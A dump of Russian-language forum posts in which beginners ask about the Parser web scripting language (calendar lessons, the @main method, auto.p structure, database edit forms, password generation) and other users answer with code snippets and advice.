"44310","Многоуважаемый All. Может быть в этом форуме и есть сея информация, но мне по моему слабому разумению не удалось найти.\
Интересуют следущие возможности.... \
1. Можно ли внутри кода Parser-овского кода вставить код написанный на PHP (мой предшественник сделал множество полезных и незаменимых скриптов, которые никак нельзя убрать)?\
2. Можно ли вставить внутрь Parser-овского кода PHP-скрипт в виде ссылки на него, наподобие include в ASP?\
Зарание спасибо и еще раз примите извинения за, возможно, глупый вопрос.\
С уважением, Виал"
"44313","Добрый день!\
Вопрос по 3-му уроку: написал доп. функцию fill_day по проверке текущей даты и ее раскрашиванию нужным цветом для календаря. Если описание функции поставить до блока ^days.menu{}, то при загрузке страницы test.html выводятся только названия текущего месяца и дней недели. Сам блок ^days.menu{} такое ощущение не выполняется вовсе. Если же описание функции fill_day поставить после основного блока ^days.menu{} (где и происходит вызов ^fill_day[]), календарь создается полностью. Это так и должно быть?"
"44314","Можешь подробнее рассказать про MySQL (ORDER BY `id` DESC)\
Я не понимаю всёравно как сортировать ... \
Помоги очень прошу )\
Хочу понять ..."
"44315","поместите основной код\
[code]\
@main[]\
сюда\
[/code]"
"44316","вопрос закрыт."
"44317","Не совсем понял, что Вы хотели этим сказать :(. Я имел в виду файл auto.p из 3-го урока. В качестве дополнительного задания предлагалось вынести проверку текущей даты и ее раскрашивание нужным цветом в отдельную функцию, которую и вызывать внутри цикла, что и было мной сделано. Меня интересует вопрос о том, почему влияет порядок описания функций на конечный результат, т.е. почему по разному отрабатывает один и тот же код, но в разном порядке:\
\
1-й вариант:\
1. ^days.menu{вызов fill_day}\
2. описание fill_day\
\
2-й вариант:\
1. описание fill_day\
2. ^days.menu{вызов fill_day}\
\
Так вот, 1-й вариант работает полностью (календарь полностью создается), а 2-й вариант работает не полностью (создается только шапка календаря)"
"44319","Вопрос вот в чем, в панели администрирования вывожу заголовки записей находящихся в БД, делаю таким образом:\
[code] \
^connect[$connect_string]{\
$oborudovanie[^table::sql{select titl, opis, price, put from oborud}\
]\
}\
<table   border=0> \
^oborudovanie.menu{ \
##<tr>\
<td cellpadding=\"1\"  cellspacing=\"1\" bgcolor=\"#8EA3DE\"> \
<a href=\"/admin/obor/index.html?$oborudovanie.titl\">$oborudovanie.titl</a>\
</td> \
##</tr> \
}  \
[/code]\
\
необходимо что бы при нажатии на заголовок открывалась новая страница со всеми записями для редактирования, делаю так но не работает:\
[code]\
^connect[$connect_string]{\
$oborudovanie[^table::sql{select put, titl, opis, price from oborud where titl='$request:query'}\
]\
}\
<form method=\"POST\">\
<table   border=0> \
<tr> \
<td cellpadding=\"1\"  cellspacing=\"1\" bgcolor=\"#8EA3DE\">\
<input name=\"titl\" value=\"$oborudovanie.titl\">\
<textarea cols=\"20\" name=\"text\" rows=\"2\">$oborudovanie.opis</textarea> \
<input name=\"price\" value=\"$oborudovanie.price\">\
<input name=\"put\" value=\"$oborudovanie.put\">\
<input type=\"submit\" value=\"Обновить\" name=\"posted_ob\">\
\
\
 ^if(def $form:del_ob){\
\
       ^MAIN:dbconnect{ \
         ^void:sql{\
           DELETE FROM `oborud` WHERE titl='$form:titl'\
       } \
} \
      $response:location[$request:uri] \
   }\
\
\
</td> \
</tr> \
  \
\
\
</table>\
<input type=\"submit\" value=\"Удалить\" name=\"del_ob\">\
</form> \
<br> \
[/code]\
\
Подскажите как лучше сделать?\
Заранее благодарен за помощь."
"44320","1. лучше забыть про $request:query, прочитать про [url=\"/docs/lang/formclass.htm\"]класс form[/url] и делать через него\
\
2. лучше называть таблицы и поля в БД английскими словами, а не русскими словами в транслите\
\
3. лучше писать не /admin/obor/index.html, а /admin/obor/\
\
4. лучше писать что именно не работает. к принципе ваш код должен работать, если вы не меняете titl. а если меняете - то что вы хотите? ссылайтесь по id, а не по title. плюс я обычно пишу механизмы апдейта БД до механизмов доставания и отображения данных, в этом случае для административного интерфейса можно не делать $response:location[$request:uri]. (в вашем случае можно просто перенести ^if(def $form:del_ob){...} до ^connect[...])"
"44321","Поля в БД у меня английскими по id не получается выдает ошибку хотя не понимаю почему, ЕСЛИ НЕ ТРУДНО НАПИШИТЕ ПОЖАЛУЙСТА КАК ЧЕРЕЗ класс form сделать и через id, хотя бы в общих чертах.\
\
Если сразу выводить все записи то много места и неудобно, я сначала так и сделал все работает, но потом сделал таким образом, а не работает:\
\
[code]\
^connect[$connect_string]{\
$oborudovanie[^table::sql{select titl, opis, price, put from oborud}\
]\
}\
<table   border=0> \
^oborudovanie.menu{ \
##<tr>\
<td cellpadding=\"1\"  cellspacing=\"1\" bgcolor=\"#8EA3DE\"> \
<a href=\"/admin/obor/index.html?$oborudovanie.titl\">$oborudovanie.titl</a>\
</td> \
##</tr> \
}\
[/code]\
\
если титл на русском то не работает а если на лат то работает, но после открытия новой страницы если все нормально нажимаешь удалить и выдает ошибку."
"44322","я писать пример не буду. они есть в документации. привыкайте ей пользоваться. а про $request:query при работе с парсером забудьте, именно из-за неё у вас проблемы с русскими буквами в titl."
"44323","спасибо за помощь, я не прошу писать пример, только как передать параметр через form."
"44324","делаю через форм через $form:nameless, посмотрите такая конструкция нормальная:\
\
[code]\
\
^connect[$connect_string]{\
$oborudovanie[^table::sql{select titl, opis, price, put from oborud}\
]\
}\
<table   border=0> \
^oborudovanie.menu{ \
\
<td cellpadding=\"1\"  cellspacing=\"1\" bgcolor=\"#8EA3DE\"> \
<form method=\"post\">\
\
<a href=\"/admin/obor/index.html?$oborudovanie.titl\">$oborudovanie.titl</a>\
 </form>\
</td> \
\
\
}\
\
</table>\
\
[/code]\
\
а в новом окне\
\
[code]\
\
^connect[$connect_string]{\
$oborudovanie[^table::sql{select put, titl, opis, price from oborud where titl='$form:nameless'}\
]\
}\
<form method=\"POST\">\
<table   border=0> \
<tr> \
<td cellpadding=\"1\"  cellspacing=\"1\" bgcolor=\"#8EA3DE\">\
<input name=\"titl\" value=\"$oborudovanie.titl\">\
<textarea cols=\"20\" name=\"text\" rows=\"2\">$oborudovanie.opis</textarea> \
<input name=\"price\" value=\"$oborudovanie.price\">\
<input name=\"put\" value=\"$oborudovanie.put\">\
<input type=\"submit\" value=\"Обновить\" name=\"posted_ob\">\
\
\
 ^if(def $form:del_ob){\
\
       ^MAIN:dbconnect{ \
         ^void:sql{\
           DELETE FROM `oborud` WHERE titl='$form:titl'\
       } \
} \
      $response:location[$request:uri] \
   }\
\
\
</td> \
</tr> \
  \
\
\
</table>\
<input type=\"submit\" value=\"Удалить\" name=\"del_ob\">\
</form> \
<br> \
[/code]\
\
только при удалении вот такая ошибка:\
\
Forbidden\
You don't have permission to access /admin/obor/index.html?sgr%20%E2%FB%E0%E5%EE%F0%EA%E2 on this server"
"44325","перестаньте делать через titl. А если вы поменяли название?\
1. для начало надо выбрать id из БД\
[code]$oborudovanie[^table::sql{select id, titl, opis, price, put from oborud}[/code]\
2. создайте скрытое поле в котором будете передавать id\
[code]<input name=\"id\" value=\"$oborudovanie.id\" type=\"hidden\">[/code]\
3. удаляйте строку по id\
[code]\
^MAIN:dbconnect{ \
         ^void:sql{\
           DELETE FROM `oborud` WHERE id ='$form:id'\
       } \
[/code]\
и все  у вас будет работать"
"44326","Спасибо, у меня почему то не получается вытянуть ob_id, выдает ошибку"
"44330","извините, но не видя что у вас в таблице я помочь вам ничем не смогу.\
если у вас структура:\
id, titl, и так далее то все должно работать."
"44331","[code]\
$oborudovanie[^table::sql{select [b]ob_id[/b] AS id, titl, opis, price, put from oborud}\
...\
<a href=\"/admin/obor/?id=$oborudovanie.id\">$oborudovanie.titl</a>\
...\
$oborudovanie[^table::sql{select [b]ob_id[/b] AS id, put, titl, opis, price from oborud where ob_id = ^form:id.int(0)}]\
...\
<input type=\"hidden\" name=\"id\" value=\"$oborudovanie.id\">\
...\
^void:sql{DELETE FROM `oborud` WHERE ob_id = ^form:id.int(0)}\
[/code]"
"44332","[code]$oborudovanie[^table::sql{select ob_id AS id, titl, opis, price, put from oborud}\
...\
<a href=\"/admin/obor/?id=$oborudovanie.ob_id\">$oborudovanie.titl</a>\
...\
$oborudovanie[^table::sql{select ob_id AS id, put, titl, opis, price from oborud where ob_id = ^form:id.int(0)}]\
...\
<input type=\"hidden\" name=\"id\" value=\"$oborudovanie.ob_id\">\
...\
^void:sql{DELETE FROM `oborud` WHERE ob_id = ^form:id.int(0)}[/code]"
"44333","Нет, ни в коем случае.\
Обратить внимание на эту строчку:\
\
[code]\
$oborudovanie[^table::sql{select [b]ob_id AS id[/b],...\
[/code]\
\
Я ведь даже выделил ее полужирным."
"44335","Привычка. У меня в таблицах поля назыаются тоже не id, а допустим section_id, а выбираю я в таблицу $sections, вот и получается что пользуюсь алиасом, дабы было $sections.id, а не $sections.section_id... Это удобнее и лучше к этому привыкнуть сразу. :)"
"44336","Привожу код, который изменил в auto.p:\
\
^days.menu{\
    <tr>\
        ^for[week_day](0;6){\
            ^if($days.$week_day){\
                ^fill_day[]\
            }{\
                <td bgcolor=\"#DFDFDF\">&nbsp</td>\
            }\
        }\
    </tr>\
}\
\
@fill_day[]\
^if($days.$week_day==$now.day){\
    <td align=\"middle\" bgcolor=\"#FFFF00\">\
        <font color=\"$calendar_locale.day_colors.$week_day\">\
            <b>$days.$week_day</b>\
        </font>\
    </td>\
}{\
^if($days.$week_day<$now.day){\
    <td align=\"middle\" bgcolor=\"#FFFFFF\">\
        <font color=\"$calendar_locale.day_colors.$week_day\">\
            <a href=\"/news/?day=$days.$week_day\">$days.$week_day</a>\
        </font>\
    </td>\
}{\
    <td align=\"middle\" bgcolor=\"#FFFFFF\">\
        <font color=\"$calendar_locale.day_colors.$week_day\">\
            $days.$week_day\
        </font>\
    </td>\
    }\
}\
\
Если код fill_day написать выше ^day.menu, то календарь не создается."
"44338","Помню на этом форуме публиковалось сообщение. Очень понравилось, но ссылку потерял :("
"44341","Коментарий можно и краткий, ОС и версию я написал. Только вот захостить где-то с гарантией что надолго - это врядли. У меня homepage'а как такого - нет (не было нужды). А на всяких narod'ах удаляют паги - есть такое у них при 0-ом трафе в опр. период.\
Так что захостите мож. у себя."
"44342","Э не-ее-е. Без альтернативы скачивания сорсника типографа юзать его при каждой транзакции как веб-сервис - это уж слишком.\
\
Счастливые вы 200 килоуников на паге в сутки не видели.\
P.S.: Имхо правда: \"Веб-сервис к кофеварке\", но думаю такая жадность либо проявлена big boss'ом свыше + типа апдейты и все такое. (но по-моему певое)"
"44344","Раздел документации про хэши:\
http://www.parser.ru/docs/lang/?hashadd.htm\
\
Вот выдрано:\
[code]\
$man[\
    $.name[Вася]\
    $.age(22)\
    $.sex[m]\
]\
$woman[\
    $.name[Маша]\
    $.age(20)\
    $.smile[да]\
]\
^man.add[$woman]\
\
#Новое содержание хеша $man:\
#$man[\
#    $.name[Маша]\
#    $.age(20)\
#    $.sex[m]\
#    $.weight(50)\
#    $.smile[да]\
]\
\
Не понял откуда появился ключ $.weight ?? \
P.S.: Парень в весе прибавил =) ?\
[/code]"
"44345","[url=\"http://xml.nsu.ru\"]http://xml.nsu.ru[/url]"
"44346","можно ли создать генератор паролей на парсер.\
Нужно в базе данных создать 1000 записей\
с порядковыми номерами в виде 00001 00002... 01000\
и случайные пароли к каждому номеру\
Login будет номер дисконтной карты\
Пароль для доступа будет доставаться из бд."
"44347","генерирует удобочитаемый пароль\
где $passwd_length - это длина пароля\
если нужны цифры...\
сами догадаетесь что делать :)\
[code]\
\
@genword[]\
\
$passwd_length(9)\
$vowels[aeiouy]\
$consonants[bcdfghklmnprstvxz]\
\
$letters[^for[i](1;$passwd_length){^if($i % 2 ){^consonants.mid(^math:random(^consonants.length[] );1)}{^vowels.mid(^math:random(^vowels.length[]);1)}}]\
\
\
$result[${letters}]\
[/code]"
"44348","[code]\
$str[строка с допустимыми символами для пароля, т.е. A-Za-z0-1_ или как-то так]\
$length(10)\
$pwd[]\
^for[i](0;$length){\
  $rnd(^match:random(^str.count[]))\
  $rnd_char[^str.mid($rnd - 1;$rnd)]\
  $pwd[${pwd}$rnd_char]\
}\
Сгенерированный пароль: $pwd\
[/code]"
"44353","есть страницы с различными формами\
и адреса у них примерно\
/?page=newcustomer\
/?page=show&id=0\
и т.д.\
в crm.p усть переменные\
@newcustomer[]\
@show и т.д.\
хотелось чтобы в index.html\
вставлялась нужная переменная в зависимочти от значения $form:page\
вообще хотелось бы какую нибудь конструкцию типа\
^$form.page[]\
Просто в голову ничего не приходит.\
На то чтобы разбивать формы на типы данных и хранить о них информацию в бд времени нет, да и задачи не такого масштаба.\
Заранее спасибо!"
"44354","[code]\
@main[]\
[/code]"
"44355","@bla-bla[] - метод\
\
А это не пойдёт?\
[code]\
^switch[$form:page]{ \
   ^case[значение]{нужный код} \
   ^case[значение]{нужный код} \
   ^case[DEFAULT]{...} \
} \
[/code]"
"44356","давно поправил, со следующей сборкой документации выложу.\
\
что симптоматично: об ошибке сообщило пока 4 человека.\
только 4 прочли внимательно?\
или остальным не захотелось сообщить?\
может ещё какие мелочи кто заметит, не стесняясь шлите, всё поправлю!"
"44357","Хочу сделать движок с использованием mode_rewrite.\
Не могу понять базовых вещей - хоть застрелите меня :)\
Задача такая - все запросы перенаправляются на одну страничку. Там запрошенный URL разбирается, выясняем что собственно у нас запросили и отдаём соответствующий результат.\
\
Раньше (без mode_rewrite) я делал всё по сути как описано в уроке 2:\
\
auto.p\
----------------------\
@main[]\
^header[]\
^body[]\
^footer[]\
----------------------\
\
index.htm\
----------------------\
@header[]\
Заголовок\
@body[]\
Текст страницы\
@footer[]\
Подвал\
----------------------\
\
А теперь ничего понять не могу.\
Что мне писать в auto.p, а что в index.htm?\
И нужен ли мне этот index.htm? Не могу ли я заставить код работать прямо в auto.p?\
\
Объясните мне, пожалуйста! Всю голову уже сломал - ничего понять не могу.\
Как мне сделать так, чтобы при запросе выполнялся мой код?"
"44358","спасибо, о свитче я как-то забыл, пора в отпуск...\
пойти он конечно пойдет, если нет более элегантного решения, \
при котором не надо прописывать каждую новую страницу в метод."
"44359","Уж , кто-то но я знаю не больше твоего , могу думаю ответь ... \
\
Надо так :\
[code]\
auto.p\
----------------------\
@header[]\
Заголовок\
@body[]\
Текст страницы\
@footer[]\
Подвал\
\
----------------------\
\
index.htm\
----------------------\
@main[]\
^header[]\
^body[]\
^footer[]\
----------------------[/code]\
\
Ты всё наперепутал ..\
Index.html нужен !"
"44360","Подскажите туплю по черному, дело вот в чем, выводятся записи в таблице, но почему то с переводом строки, а надо что бы по ширине\
\
[code]\
^connect[$connect_string]{\
$oborudovanie[^table::sql{select id, titl, opis, price, put from oborud}\
]\
}\
\
<table width=\"100%\" border=\"0\" bgcolor=\"#cccccc\">\
<tr>\
<td width=\"100%\" height=\"100%\">\
<div align=\"right\">\
^oborudovanie.menu{ \
<form method=\"post\">\
<input name=\"id\" value=\"$oborudovanie.id\" type=\"hidden\">\
</form>\
<a href=\"/admin/obor/index.html?id=$oborudovanie.id&$oborudovanie.titl\">- $oborudovanie.titl -</a> |\
}\
</div>\
</td>\
</tr>\
</table>\
[/code]"
"44362","Да нет, кажется не перепутал.\
Если делать как Вы предлагаете, то я не знаю что получится. Одинаковые страницы?\
Пример из второго урока, который я привёл, иллюстрирует как можно в auto.p задать общую структуру страницы (auto.p выполняет как-бы функцию шаблона), а в .htm файлах определять отдельные блоки, содержимое которых варьирует.\
\
Но мой вопрос касается не этого. Я спрашиваю о том, как поступить, когда весь сайт состоит из одной страницы.\
\
В документации написано, что из конфигурационного файла, всех auto.p и самого запрошенного документа собирается класс MAIN. Затем вызывается метод main, который может быть определён в любом месте.\
\
Я определяю main в auto.p, а что мне в .htm писать? Зачем она мне вообще нужна? Если я её пустую оставляю - ерунда получается, т.к. если в документе не определён ни один метод, то всё его тело считается определением метода main.\
\
Если я запрос через mode_rewrite прямо на auto.p отправляю, то вроде бы всё работает, но стоит мне удалить index.htm, как сервер пишет forbidden и кажет мне козью морду (что вполне логично).\
\
Или мне вообще забыть про auto.p и всё писать в index.htm?\
\
Подскажите кто-нибудь, пожалуйста!"
"44363","Похоже что это <form> такой эффект даёт.\
Странный код - похоже выхвачен из контекста. Вы значение формы чем передавать собираетесь?\
\
Если оторвать формы от ссылок никак нельзя, попробуйте каждый элемент выводить в своей ячейке таблицы."
"44364","\"Выпадающим\" можно назвать не только анимированное javascript'ное меню, но и статичное, в котором развёрнута та или иная ветвь в зависимости от раздела, в котором находится посетитель.\
\
Думаю что именно такое меню и имелось в виду.\
\
На Парсере - можно и нужно."
"44365","[code]\
<form method=\"post\">\
^oborudovanie.menu{ \
<input name=\"id\" value=\"$oborudovanie.id\" type=\"hidden\">\
\
<a href=\"/admin/obor/index.html?id=$oborudovanie.id&$oborudovanie.titl\">- $oborudovanie.titl -</a> |\
}\
</form>\
[/code]"
"44367","для меня выпадающее меню это что-нибудь типа\
[code]\
  <form>\
    <select name=\"f\" onchange=\"this.form.submit();\">\
      <option value=\"-1\" selected=\"selected\">Выберите</option>\
      <option value=\"cp\" >Панель управления</option>\
    </select>\
  </form>\
[/code]"
"44370","У меня в index.html — оформление, в auto.p — код:\
\
index.html:\
[code]\
@generatePage[lparams][params]\
$params[^hash::create[$lparams]]\
^untaint{\
<html>\
<head>\
  <title>$params.title</title>\
</head>\
<body>\
# и все остальное в этом духе\
</body>\
</html>\
}\
# end @generatePage[]\
[/code]\
\
auto.p:\
[code]\
@auto[]\
$page_params[\
  ...\
]\
\
@main[]\
^MAIN:pSQL.server{\
  ^generatePage[$page_params]\
}\
[/code]\
\
P.S. На всякий случай: http://www.parser.ru/forum/?id=43527"
"44371","[code]\
# Как вы будете вытаскивать свой titl?\
<a href=\"/admin/obor/index.html?id=$oborudovanie.id&$oborudovanie.titl\">\
\
# Потом можно будет его вытащить из $form:title\
<a href=\"/admin/obor/index.html?id=$oborudovanie.id&[b]title=[/b]$oborudovanie.titl\">\
[/code]"
"44373","Понадобился метод, который последовательно перебирает строки таблицы, а разделитель печатает не после каждой не последней строки, а после каждых n строк. Также может печать после каждой не последней строки один разделитель, а после каждых n строк — другой.\
\
[code]\
@tmenu[table;counter;code;separator;separator_advanced]\
^table.menu{\
	$code\
}{\
	^if(^table.line[] != $table){\
		^if(def $separator_advanced && !(^table.line[] % ^counter.int(1))){\
			$separator_advanced\
		}{\
			$separator\
		}\
	}\
}\
[/code]\
\
Пример вызова:\
[code]\
^tmenu[$table](3){\
	$table.title\
}[<br>;<hr>]\
[/code]"
"44374","[quot]\
^process[$engine:CLASS]{@start[]\
	Мотор…\
}\
Метод start будет добавлен к пользовательскому классу engine.\
[/quot]\
\
Проверил:\
\
[code]\
^process[$table:CLASS]{@tmenu[...]}\
[/code]\
\
И получил ошибку:\
\
[quot]\
can not add method to system class\
[/quot]\
\
Почему запрещено добалвять методы к системным классам? Было бы удобно. Например, взять тот же @foreach: я им часто пользуюсь, но приходиться вызывать свой метод, передавая ему хэш. Было бы логично запретить перекрывать методы системных классов, но разрешить добавление своих."
"44376","Вот и сделайте себе свой класс myHash с нужными методами. А вот произвольно добавлять что-либо в классы (любые) снаружи явно не стоит - это будет приводиьт к сложнообнаруживаемым ошибкам. Вы не забывайте, что возможна ситуация, когда два  и более участков кода попытаются добавить свои методы в базовый класс! У Парсера и так есть далеко не все средства защиты и разделения доступа к частям класса, которые есть у других ООП-языков."
"44377","Я планировал подключать свой misc.p, в котором поочереди добавлять все необходимое и потом только пользоваться.\
\
По поводу наследников от базовых типов я понял примерно так (правильно?):\
\
[code]\
@CLASS\
my_table\
\
@BASE\
table\
\
@create[...]\
^BASE::create{...}\
[/code]"
"44378","Добавил и теперь при клике на раздел /news/ загружается совершенно пустая страница, т.е. ошибок не выдается. Привожу полный код:\
\
@main[]\
\
@calendar[]\
$calendar_locale[\
	$.month_names[\
            $.1[Январь]\
	        $.2[Февраль]\
	        $.3[Март]\
	        $.4[Апрель]\
	        $.5[Май]\
	        $.6[Июнь]\
	        $.7[Июль]\
	        $.8[Август]\
	        $.9[Сентябрь]\
	        $.10[Октябрь]\
	        $.11[Ноябрь]\
	        $.12[Декабрь]\
	]\
	$.day_names[\
	        $.0[пн]\
		    $.1[вт]\
		    $.2[ср]\
		    $.3[чт]\
		    $.4[пт]\
		    $.5[сб]\
			$.6[вс]\
	]\
	$.day_colors[\
			$.0[#000000]\
			$.1[#000000]\
			$.2[#000000]\
			$.3[#000000]\
			$.4[#000000]\
			$.5[#800000]\
			$.6[#800000]\
	]\
]\
$now[^date::now[]]\
$days[^date:calendar[rus]($now.year;$now.month)]\
<center>\
<table bgcolor=\"#000000\" cellspacing=\"1\">\
	<tr>\
		<td bgcolor=\"#FFFFFF\" colspan=\"7\" align=\"middle\">\
			<b>$calendar_locale.month_names.[$now.month]</b>\
		</td>\
	</tr>\
	<tr>\
		^for[week_day](0;6){\
			<td width=\"14%\" align=\"middle\" bgcolor=\"#A2D0F2\">\
				<font color=\"$calendar_locale.day_colors.$week_day\">\
					$calendar_locale.day_names.$week_day\
				</font>\
			</td>\
		}\
	</tr>\
	\
\
\
^days.menu{\
	<tr>\
		^for[week_day](0;6){\
			^if($days.$week_day){\
				^fill_day[]\
			}{\
				<td bgcolor=\"#DFDFDF\">&nbsp</td>   \
			}\
		}\
	</tr>\
}\
</table>\
</center>\
\
@fill_day[]\
^if($days.$week_day==$now.day){\
	^if(($request:uri eq '/news/') || ($request:uri eq '/news/?day=$days.$week_day')){\
		<td align=\"middle\" bgcolor=\"#FFFF00\">\
		    <font color=\"$calendar_locale.day_colors.$week_day\"><b>$days.$week_day</b></font>\
		</td>\
	}{\
		<td align=\"middle\" bgcolor=\"#FFFF00\">\
		    <font color=\"$calendar_locale.day_colors.$week_day\">\
				<b><a href=\"/news/?day=$days.$week_day\">$days.$week_day</b></a>\
			</font>\
		</td>\
	}\
}{\
^if($days.$week_day<$now.day){\
	^if($request:uri eq '/news/?day=$days.$week_day'){\
		<td align=\"middle\" bgcolor=\"#FFFFFF\">\
	        <font color=\"$calendar_locale.day_colors.$week_day\">$days.$week_day</font>\
        </td>\
	}{\
		<td align=\"middle\" bgcolor=\"#FFFFFF\">\
	        <font color=\"$calendar_locale.day_colors.$week_day\">\
				<a href=\"/news/?day=$days.$week_day\">$days.$week_day</a>\
			</font>\
		</td>\
	}\
}{\
	<td align=\"middle\" bgcolor=\"#FFFFFF\">\
        <font color=\"$calendar_locale.day_colors.$week_day\">\
	        $days.$week_day\
        </font>\
    </td>\
}\
}"
"44380","Ой, извиняюсь за свой промах. Спасибо за подсказку."
"44382","Добрый день!\
\
Читал документацию, но так и остался неясным вопрос по поводу @main[]. Нигде в 5-ти первых уроках не прописывался в index.html этот метод. Теперь же, если я хочу посмотреть на какой-нибудь пример в действии нужно обязательно в файле прописывать в начале @main[]. Например (взято из документации):\
[code]\
@main[]\
$a(20)\
$b(10)\
^sum[^eval($a+$b)]\
<hr>\
^sum{^eval($a+$b)}\
\
@sum[c]\
^for[b](100;110){\
   $c\
}[<br>]\
[/code]\
\
Если я закомментирую @main[], то страница с примером не загрузится. Не мог бы кто разъяснить для чего все-таки нужен этот метод вообще или на этом примере в частности?"
"44384","[quot]\
Если в файле не определен ни один метод, то все его тело считается определением метода main.\
[/quot]"
"44385","Качаем mswinsc.ocx, который я нашел в инете. Копируем в windows/system32.\
Затем regsvr32 mswinsc.ocx, регистрируем.\
Работает."
"44388","Чтобы не писать для вывода всех текстов, где есть &nbsp; отдельный ^untaint{}. Данные получаются в хэше, мной самим сгенерированным, тексты взяты из базы данных, опять же обработанные при добавлении. И так далее."
"44389","сейчас правильным считаю сразу помечать отдельные кусочки, взятые из разных мест как чистые, а не делать этого в самом конце на всей пачке данных."
"44391","Как можно релиазовать опросы на парсере ? ( по форуму искал не назодит или находит но совем другое )\
И если ли сайты на которых можно ещё чегонить покачать , там форум или ещё чтонить .. \
Просто мало знаю , хотелось бы посмотреть .."
"44392","Миша, ответьте, пожалуйста, на мой вопрос - он ведь в первую очередь к Вам адресован, как к автору Engine."
"44393","Так что же имел в виду автор вопроса?"
"44395","- через какое-то время вы захотите получать данные с внешних сайтов\
- через какое-то время вы сделаете административный интерфейс \"для секретарши\", чтобы она вводила новости\
- через какое-то время у вас появится \"помошник\", и вы пожалеете, что оставили этот untaint =)\
\
P.S. у меня были пункты 1 и 2"
"44396","Уже собственно обсуждали, но никак не соображу. Для календаря \
на http://www.novoemnenie.ru выполняю проверку\
\
$days_of_files[\
^hash::sql{\
	SELECT\
	   ^MAIN:pSQL.day[date] AS day\
	FROM\
	   lenta\
	WHERE\
	   ^MAIN:pSQL.day[date] and\
	   ^MAIN:pSQL.month[date] = $date_now.month and\
	   ^MAIN:pSQL.year[date] = $date_now.year\
}[$.distinct(1)]\
]\
\
для дней < 10 получается проверка 09 = 9\
^MAIN:pSQL.day[date].int(0) не правильно,  как достать не 09 а 9?\
\
Заранее благодарен, жутко торможу:)"
"44397","А в чем собственно проблема организации опроса?\
Все зависит от нужных вам функций и решается это достаточно тревиально."
"44399","Не очень понятен вопрос. Что значит нужно по ширине? Чтобы каждая запись в новом столбце или что?\
Плюс ко всему не очень понятна эта конструкция\
[code]\
<table width=\"100%\" border=\"0\" bgcolor=\"#cccccc\">\
<tr>\
<td width=\"100%\" height=\"100%\">\
<div align=\"right\">\
^oborudovanie.menu{ \
<form method=\"post\">\
<input name=\"id\" value=\"$oborudovanie.id\" type=\"hidden\">\
</form>\
<a href=\"/admin/obor/index.html?id=$oborudovanie.id&$oborudovanie.titl\">- $oborudovanie.titl -</a> |\
}\
</div>\
</td>\
</tr>\
</table>\
[/code]\
\
1. <div align=\"right\"> Не легче <td align=\"right\">\
2. Вам действительно нужно для каждого элемента новую форму генерить? Непонятно зачем....\
3. 	[code]<a href=\"/admin/obor/index.html?id=$oborudovanie.id&$oborudovanie.titl\"[/code] - для каждого передаваемого значения нужно указвать переменную.\
4. height=\"100%\" на ячейку не действует.. (вроде :) )."
"44400","поэтому предлагаю не помогать больше. хотя \"добренькие\" - welcome."
"44401","большое спасибо за ответы, но я выбираю не диапазон, а именно конкретные дни, а суть этого вопроса собственно как реализовать то, о чем написал Wonder\
Ну никак не соображу, обычно не пишу о том, что есть в форуме"
"44402","Вот способ:\
Достаете $now.day, дальше делаете проверку, если 0<день<10, то прилипляете ноль к началу.\
Хотя это наверное очень коряво и можно как-нибудь по-другому."
"44403","Не уверен, но по моему\
[code]\
^eval($date_now.month)[0%1.0f]\
[/code]\
только надо указать что для месяцев до 9-го,\
\
но что-то типа того в форуме есть но не помню где"
"44404","а вы смотрели его сами? там [b]то-же самое делается для месяцев!!![/b]\
\
P.S. конкретные день - это тоже диапазон времени, от 00:00:00 до 23:59:59, о чем вам и было сказано.\
\
P.P.S. конструкция \"WHERE ^MAIN:pSQL.day[date] AND\" - бред. она всегда истина, т.е. её можно просто выкинуть, о чем я вам говорил ранее."
"44405","Ваша позиция мне абсолютно понятна, но поверьте мне - документацию я изучил в первую очередь.\
Может я туповат, но внятного ответа на свой вопрос я там не нашёл.\
\
Вот что есть в документации:\
\
Урок 1.\
---------------------------\
[i]...создаем файл auto.p\
В нем мы будем хранить все те кирпичики, из которых впоследствии Parser соберет наш сайт. AUTO означает, что все эти кирпичики будут всегда доступны для Parser в нужный момент...[/i]\
---------------------------\
Очень хорошо - в auto.p мы пишем функцию, а потом можем вызвать её в index.htm.\
При этом @main[] определён в index.htm, т.к. ни один метод в этом файле не определён.\
\
Урок 1.\
---------------------------\
[i]...Parser позволяет сделать очень интересный финт: определить один раз общую структуру страниц в файле auto.p, создать каркас, а затем, используя функции, подобные greeting, в тексте самих страниц, получать разные по содержанию страницы одинаковой структуры...[/i]\
---------------------------\
Опаньки... А теперь у нас всё перевернулось с ног на голову - @main[] определён в auto.p, впрочем, так тоже оказывается удобно.\
В файле auto.p у нас теперь не совсем \"кирпичики\" - там скорее \"каркас\". \"Кирпичики\" - блоки, которые меняются от страницы к странице, - у нас теперь в самих страницах.\
\
там же\
---------------------------\
[i]...Что надо запомнить: первым методом в файле auto.p можно определить функцию main, которая выполняется автоматически...[/i]\
---------------------------\
\
Класс MAIN, обработка запроса\
---------------------------\
[i]...в любом из перечисленных файлов может быть определен метод main, и будет вызван тот, который был определен последним...[/i]\
---------------------------\
Оказывается не только в auto.p! И не только первым методом...\
\
На мой взгляд, логика использования auto.p не следует из документации. По крайней мере я её там не нашёл.\
\
Где-то в начале декабря 2004 года я пытал Вас насчёт Engine.\
Вы ответили что \"у нас вообще есть только 2 файла с кодом в веб пространстве: упомянутый auto.p и html, причем не index\". Причём, когда я Вас спросил о содержании auto.p, и Вы мне ответили, то я окончательно перестал что-либо понимать - @main[] я там не нашёл...\
Где же он тогда таится? Или можно без него обойтись? Но как?\
\
И что значит \"не index\"? Называется по-другому или функцию несёт совсем другую?\
\
Объясните, пожалуйста! Я честно документацию перекопал и форум весь облазил, но ответа не нашёл."
"44406","- ну определите в вашем html файле функцию, чтобы он не был @main[] (например @dummy[], ибо сам html файл должен быть, иначе 404, но расширение он может иметь любое - как вам больше нравится)\
\
- у меня он называется /_doc.html. какая разница на что рерайтить? хоть на /_hui.html =)\
\
- ну зачем мне несколько @main[]? у меня есть один @main[] в /_doc.html, что тут сложного-то? в auto.p тоже почти ничего нету, все в классе.\
\
- единой логики использования auto.p нет. кто как хочет тот так и использует. одному нравится там хранить каркас, другому - не хочется. вон и хинт интересный есть - в auto.p/@main[] живет по умолчанию, подходящий для большиснтва страниц, но может попасться страница, на которой должен быть другой каркас - определяем его прямо в файле. но опять-же, это лишь одна дорога. а в документации описано \"поведение парсера при обработке запроса\". используйте как хотите."
"44407","[quot]сам html файл должен быть, иначе 404, но расширение он может иметь любое - как вам больше нравится)[/quot]\
\
Вы имели в виду имя, а не расширение?\
\
